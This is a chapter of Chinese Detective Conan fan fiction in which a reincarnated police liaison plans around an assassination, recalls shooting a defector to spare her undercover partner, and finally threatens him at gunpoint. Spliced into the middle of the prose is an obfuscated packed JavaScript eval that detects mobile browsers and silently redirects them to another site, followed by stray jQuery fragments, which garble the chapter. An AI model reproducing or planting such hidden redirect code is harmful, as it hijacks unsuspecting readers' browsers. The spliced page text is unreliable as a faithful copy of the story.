4. 命运回溯(四)
作品:《柯学马甲觉醒后》 上辈子的这个晚上实在发生了很多事。
按照原定的计划,若林海渡会以清扫公司员工的身份混进岩崎正人所在的那家店里,弄响火灾警报,制造骚乱,引导岩崎正人“避难”到狙击点,再由苏格兰威士忌远程收割。
公安在得知这个计划之后就向SAT请求了共同行动。
SAT,全名特殊急袭部队,隶属警视厅警备部一课,日常负责的是挟持事件以及重火力犯,应付这种有预谋的狙击也算专业对口。
蝉生叶枝当时就潜伏在SAT部队的伏击点附近,一方面是确保护卫任务能顺利进行,另一方面也要防备SAT在追踪狙击手的时候真的和诸伏景光有正面接触,影响潜入任务。
最开始的一切发展都姑且还算顺利,若林海渡成功引导岩崎正人到了室外,但在苏格兰来得及开枪之前,SAT的狙击手先一步鸣枪击碎了店铺的一块玻璃示警。
岩崎正人不是傻子,立刻意识到不对,加上店内空有火灾警报响起,却没有半点起火的迹象,于是他当机立断地选择撤回到店里。
混乱之中,若林海渡直接被安保拦在了店铺外,根本没机会近目标的身,事情到这里都没有出现任何问题。
问题是在这之后发生的。
在岩崎正人重新躲回到掩体之后的五分钟之后,店内忽然冒起浓烟。
原本躲进去的人再次撤了出来,但在撤出的人里却没有岩崎正人的身影。
他死了。
死在了店里。
死因当然不是浓烟——那些烟甚至不是因为起火,而是有人用了为消防演习准备的烟雾弹。
杀死岩崎正人的是肋下的刀伤,贯穿肺叶,在肋骨上留下了很深的痕迹。
蝉生叶枝并不清楚这桩案子的后续进展,但她知道,至少在她出事之前,警校的同期降谷零一直在追查这件事。
那个热血又执拗的家伙想要一个确定的结果,所以哪怕他自己都还在危机四伏的组织里卧底,却还是拼命地想找到关于这件事的蛛丝马迹。
——早知道会回到这个时候,那时应该多和他聊一聊关于这个案子的,这样她至少会比现在更容易理清头绪。
蝉生叶枝自嘲地想。
不过她也很清楚,就算可以时光倒流,她也不会那么做,因为她对岩崎正人的生死根本就不感兴趣。
她当然知道这个人有多举足轻重的地位,也很清楚,这个人曾经做过的腌臜事足够他下一百次地狱,但事实上,他活着还是死了都不重要,那个时候她不在意,现在的她依然不在意。
这并不是一场保护的游戏,这是一场掠夺。
而她想从中得到最大的利益。
接到任务之后的六个小时里,蝉生叶枝并没有闲着。
她将自己能回想起的上辈子的信息都梳理了一遍,又尽可能地调查了关于岩崎正人的资料。
这是个相当传奇的男人,他花了二十多年的时间将一个小小的岩崎商社打造成了现在的岩崎帝国,能力可见一斑。
事业上的如鱼得水给了他骄傲的资本,尤其是最近几年里,面对昔年为了上位而攀扯过的灰色地带的势力,他不再像以前一样乖顺,而是转而嘻嘻哈哈地打起了太极。
岩崎正人不是第一天不听话了,但组织之前却没有想过要对他下手。
以蝉生叶枝对组织的了解,她想,在发布任务之前,岩崎正人一定做了什么事引起了组织的注意。
她查了最近一段时间的新闻,也排查了组织里的一些调查记录。
值得在意的新闻似乎只有一条,事情发生在一周之前,内容说的是岩崎正人的长子岩崎清治主导并购了业界知名的国府药业,岩崎清治或有可能成为岩崎家下任继承人。
这样的新闻在财经板块上甚至不算有什么特别,但能引起组织注意,这次并购或许没有表面上看起来的那么简单。
更为巧合的是,这个晚上的聚会,恰是岩崎正人给自家孩子办的庆功宴。
上辈子岩崎正人死后,仓促接手的岩崎家继承人把大半产业都转手让给了组织,一部分被朗姆吃下,剩下的则是由贝尔摩德暗中接手,蝉生叶枝不清楚国府药业被划在了哪个部分,不过她依稀记得,贝尔摩德接手的部分几乎都与医药化工有关。
而贝尔摩德负责的,多半是那位先生感兴趣的。
在任务正式开始之前,能得到的信息也有限,但疑点却很多。
蝉生叶枝在意的问题只有三个。
第一,组织想杀岩崎正人的真正理由是什么
第二,上辈子杀死岩崎正人的人立场是什么。
第三,“主角”的其他“马甲”会以什么样的方式出现。
组织有很多秘密,蝉生叶枝很清楚,就算她给组织的BOSS当了二十年的养女,那些秘密她依然知之甚少。
那位先生不许她知道真正的秘密,也不许她拥有属于自己的势力,为的就是不让她有和组织抗衡的能力。
所以想要和组织较劲,她得多捏几张有用的牌在手里。
诸伏景光的表情已经冷下来了。
或者说,那应该是属于“苏格兰威士忌”的表情。
指节在挂在肩头的琴包背带上划了几寸,蝉生叶枝看到,他肩上的卫衣被带子压出了皱褶。
现在他肩上背着的包里应该装着一把L96,还有一把作为掩饰的贝斯。
两样东西加在一起有十公斤,但他的肩膀很稳,只有肩头深深的皱褶显示着东西的重量。
有那么一瞬间,蝉生叶枝想要抬手帮他抚平衣服上的皱褶。
就像她之前无数次做过的那样,几乎已经成了本能。
但她忍住了。
她不该那么做,也没必要那么做。
“我明白了。”
青年的声音响起。
就像她没有告诉他该怎么做一样,他的回应也模棱两可。
蝉生叶枝将手装进大衣口袋里,缓缓垂下眼睫,也掩下了心底泛起的微澜。
她其实也并没有在等他的回答,她和他相处了这么多年,即使什么都不说,她也了解他的一切——
他是个好人,是到末路之前都会拼命想着保护别人的好人,是个即使面对有着血海深仇的凶手也能一定要坚守程序正义的好人,是个心软到不太适合当卧底的好人。
蝉生叶枝记得,两年前,诸伏景光刚刚潜入到组织的时候曾经接到过一个任务。
任务内容是与同伴们一起,追杀一个叛逃的底层成员。
那个时候他还很年轻,尽管经历了长达两年的培训,但乍然的身份转换依然无可避免地让他有一种近乎割裂的迷茫。
他运气很好,在一条窄窄的巷子里,他堵到了那个人。
一个年轻的女人,生着一张楚楚可怜的面孔。
不像是犯罪组织的成员,更像是受了委屈的职场新人。
在看到他的时候,女人也知道自己彻底走投无路。
她哭着跪在地上,梨花带雨地求诸伏景光饶过她。
“我还有生病的母亲要养活。”
“我没有想要做出卖组织的事,我只是想活。”
“放过我吧,求求你了,放过我吧,你想让我拿什么交换都行。”
青年已经将枪握在了手里,枪口对着地上的人。
但他没有立刻动手。
蝉生叶枝想,或许他的犹豫并不是因为弄不清自己该做什么,只是站在光明与黑暗的交界上,在迈出决定别人命运那一步之前,胸腔里残存的善良在本能地哀歌。
他或许的确会想有没有什么更好的方法能救下这个人。
他也一定知道,自己没有第二个选择。他必须动手,他会下定决心,做出在那种场合下唯一确定的正确选择。
他会打破自己过往的原则,而那样无疑会让他的灵魂感到痛苦。
在一边看着的蝉生叶枝想,那就让他的痛苦稍微减轻一点吧。
枪声在夜色里响起,身体里飞溅出的血花如在夜色里绽开的红色玫瑰,妖冶地在窄巷里蔓延。
年轻女人的身体颓然倒下,不甘的眼瞳落幕之后,站在巷子两端的人视线终于撞在了一起。
那个时候的诸伏景光眼底里有过一瞬的错愕,但旋即就变成了铺天盖地的担忧。
“你怎么……”
“我做了越界的事。如果你告发我,我会吃处分,甚至可能会退职。”
尚自冒着硝烟的枪口垂落,蝉生叶枝斜垂下视线,似笑非笑地看着地面上那滩晕开的血迹。
声音没有什么情绪,带着公事公办的冰冷。
“但我是你的联络人,是你的助手,我会尽我所能来支援你。”
“你做不到的事我可以替你做,你下不了的决心我来替你下。”
“你做你该做的事,其他的我会替你打理好。”
这是联络人对潜入官的承诺。
这是蝉生叶枝对诸伏景光的承诺。
枪口还在冒着硝烟,空气中的铁锈味也愈发浓烈。
在枪声响过之后,附近的其他组织成员或许很快就会赶来。
蝉生叶枝想,她该尽快离开。
于是她收回望着尸体的视线,想要在转身前再看看那个青年的脸。
可当她抬起头的时候,却看到青年一步一步地走到她的面前。
青年的身量很高,几年来的锻炼在他那副身板上贴了厚实的肌肉,看着很结实,也很有安全感。
他停在了她的面前,伸手,轻轻地隔着她的手背握住了那把柯/尔/特。
那个时候的他手心里也开始长出薄薄的枪茧了。
他接过了那把枪,接着轻轻抱了抱她的肩膀。
那是一个很轻的拥抱,或者甚至算不上一个拥抱,只是近乎安慰的触碰。
气息靠近耳侧的时候,蝉生叶枝听到诸伏景光的声音:
“谢谢。”
很轻,掩在夜色与心跳声中,他说:
“还有,抱歉。”
谢谢她站在他身后。
抱歉她还要因为他的犹豫而额外分担这样的事。
那个时候的他想说的,大概是这样的意思。
三天之后,她收到了来自他发来的一份文件。
那是一份调查报告,是针对那天晚上的死者的。
那个试图从组织叛逃的女人做过很多事,杀人、放火、敲诈、恐吓、绑架。
他其实并没有必要做得如此详细,因为提交上去的报告不需要做到这种程度。
但他还是这样做了。
蝉生叶枝知道,他是想要减轻她的心理负担。
因为在他的眼里,她那时选择开枪,是因为他,她背负的心理负担也原本该是他的。
所以他要对她负责,对她开枪这件事负责。
身份暴露的卧底应该在第一时间撤出任务,撤回到安全地带接受公安的保护。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159751|164911||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
但他没有这么做,他也不会这么做,他还想换取更多东西,而放在天平另一端的筹码是他自己的命。
那是在他所有的筹码里,他最能轻易割舍的一个。
他就是这样的一个人。
“我的车在附近,把枪放下吧,今天晚上你不用去狙击点了。”
蝉生叶枝说。
“原本的任务计划我看过,公安和SAT的人也都看过。”
“他们有准备,你去了也没有意义。”
“跟我去内场,之后该怎么做我会告诉你。”
话音落下,蝉生叶枝转过身,向着巷口的方向迈了几步,背后却没有传来脚步声。
于是她又停下了步子,回头,看向仍站在原地的人。
“怎么了,还有什么问题吗?”
她问。
“你不怕我破坏你的计划吗?”
诸伏景光看着站在不远处的人。
她现在背对着巷口,银座的车水马龙在她身后流淌,逆光之下,那张熟悉的面孔更加模糊。
他甚至不知道她是否在注视着自己。
下一个瞬间,他看到她从风衣的口袋里抽出了手。
洞黑的枪口就这么突兀地出现在了他的面前。
柯/尔/特短管,性能稳定,非常便于隐藏和携带,是她一直以来最钟爱的枪型。
她用这把枪帮了他很多,现在枪口却对准了他的眉心。
“说起来,蝉生同学为什么要当警察呢?”
有些唐突的,诸伏景光忽然就想起了当年的旧事。
很多年前,警察学校的天台上,借着夜风与月色,他们曾经聊起过这样的话题。
最开始起头的是松田阵平,他半是调侃地说警校第一之所以会选择当警察,是为了找到当年很喜欢的大姐姐。
松田阵平说他看那些会抓错人的无良警察就心烦,他想让这样的错误不再出现,顺便还想给警视总监的脸上狠狠来上一拳。
班长说是想要超过父亲,萩原说只是觉得公务员不会破产,他当时说的是,想要成为像哥哥一样厉害的存在,想要保护更多的人。
话题转了一圈,最后转到了在场唯一一个女孩子身上。
蝉生叶枝的手里还捏着气泡酒的罐子,倚靠着栏杆,仰着头,望着天空。
“为什么……呢?”
她喃喃。
“或许是因为,想要抓住一点什么吧。”
在说这句话的时候,她似乎抬起视线,朝着他的方向瞥了一眼。
红色的眼底透着迷蒙,一扫而过,像是转瞬即逝的流星。
诸伏景光甚至并不能确定她是不是真的看了他。
松田阵平在一边嚷嚷着说她说的太抽象,完全搞不懂她在说什么。
蝉生叶枝抬起了因为醉意而有些低垂的脑袋,似乎在思考,很久之后,她才又开口:
“我其实一直都不太能接受死亡。停下了呼吸和心跳,停止了思考、失去了一切行动能力,哪怕明知道那一天早晚会降临,我也依然没办法坦然地让自己接受那样的时刻。”
“我不想死去,但是啊……”
“我更害怕自己从来都没有活过。”
“所以如果能抓住什么就好了,如果能做些什么就好了。”
“至少现在,我想离正义更近一点,因为这样能让我觉得自己是在活着。”
话音落下时,她抬起手,将易拉罐递到了唇边,仰头又灌了一口。
她其实并不是一个话多的人,但在酒精的催化下,她罕见地说了许多。
月色披在她身上,让她整个人看起来都像是在发光。
诸伏景光看着她在月下睁开眼,眼底像是蒙了一层浅浅的雾气。
视线在半空中交错,时间仿佛也有了一瞬短暂的停顿,然后她微微向他举了举自己手里的酒瓶。
“为我们的正义——”
松田阵平对这个答案终于还算满意,仿佛还隐约被戳中了一点中二青年的兴奋点,在一边呜哩哇啦地附和。
一向沉稳的伊达航也罕见地热血了起来,降谷零在一边别扭地嘟囔着羞耻,眼睛却也跟着亮了起来,萩原研二发现之后,举着酒瓶,揽过了降谷零的肩膀。
六个易拉罐在夜色里碰在一起。
杯中摇曳着的是他们的当年。
有夜风吹过,掀起了她的衣角与墨色的发梢。
洞黑的枪口对着他所在的方向,隔着准星,诸伏景光看到了她上扬的唇角。
现在已经没有“我们”了。
或者说从来都没有过“我们”。
“我了解你,你也了解我。”
拇指轻轻拨弄着击锤,那是明晃晃的威胁。
“如果我想做成一件事,就没人能阻止我,你也不行。”
她将视线微微抬起,对上他的眼睛。
红色原本该是充满温度的颜色,而此刻,那对眼底里只有无尽的凛然。
一如她的声音。
“我不在乎你在想什么,也不在乎你是什么人,我会执行自己的计划,我会不惜一切代价地达成自己的目的。我让你跟着我,是因为你有用。”
原本被拨得嗒嗒响的击锤终于彻底被压到了底。
“你当然也可以做出任何选择,只要你觉得自己付得起代价。”
“你应该不会天真到觉得我们之前关系还算不错,你就有资格在我这里讨价还价,对吗?”